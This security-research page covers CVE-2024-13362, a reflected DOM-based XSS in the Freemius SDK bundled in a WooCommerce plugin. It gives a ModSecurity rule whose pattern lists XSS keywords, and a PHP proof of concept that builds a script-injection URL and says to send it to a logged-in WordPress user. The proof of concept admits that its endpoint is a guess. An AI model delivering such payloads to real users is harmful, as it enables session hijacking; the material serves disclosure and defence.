CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (add-fields-to-checkout-page-woocommerce)

# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# Block reflected XSS via 'url' parameter in Freemius SDK frontend scripts
# This rule targets the vulnerable parameter where unsanitized input is used.

SecRule REQUEST_URI "@rx /wp-content/plugins/[^/]+/freemius/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Freemius reflected XSS via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
  SecRule ARGS:url "@rx (?i:<script|<img|<svg|onerror|onload|onclick|javascript:|alert|prompt|confirm)" 
    "t:urlDecode,t:removeNulls,t:lowercase"

# If the exact Freemius endpoint is not known, a broader rule can match any request with a suspicious 'url' parameter.
# However, to avoid false positives, we restrict to paths containing 'freemius'.
# This blocks common XSS keywords in the parameter.
# Note: For non-AJAX frontend pages, we cannot rely on action parameters.
# The rule assumes the attack targets files within the vendor/freemius directory.

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

// Target WordPress site URL (modify as needed)
$target_url = 'http://example.com';

// The vulnerable parameter is 'url'. The exact endpoint depends on the Freemius SDK usage.
// Based on the CVE description, the vulnerability manifests in the frontend through the 'url' parameter.
// Below are two likely endpoints. Adjust based on actual plugin behavior.

// Common Freemius frontend script hook (used for connect messages, redirects, etc.)
$endpoint = '/wp-content/plugins/add-fields-to-checkout-page-woocommerce/freemius/assets/js/nojquery.ba-postmessage.min.js';

// Alternatively, the vulnerability may trigger via any page that includes the Freemius SDK JS.
// We will test with a generic page and append the malicious 'url' parameter.

// Malicious payload: inject script via double quote and >
$payload = '"><script>alert("XSS")</script>';
$full_url = $target_url . $endpoint . '?url=' . urlencode($payload);

echo "[+] Atomic Edge PoC for CVE-2024-13362n";
echo "[+] Target URL: " . $full_url . "n";
echo "[+] Send this URL to a logged-in WordPress user and observe the XSS alert.nn";

// Validate response to check for payload reflection
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 15);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200 && strpos($response, '<script>alert("XSS")</script>') !== false) {
    echo "[+] The reflected payload was found in the response, indicating the parameter is vulnerable.n";
} else {
    echo "[!] The payload was not directly reflected. The vulnerability may be DOM-based and executed client-side.n";
    echo "[!] The script executes only when the victim's browser processes the affected JavaScript code.n";
}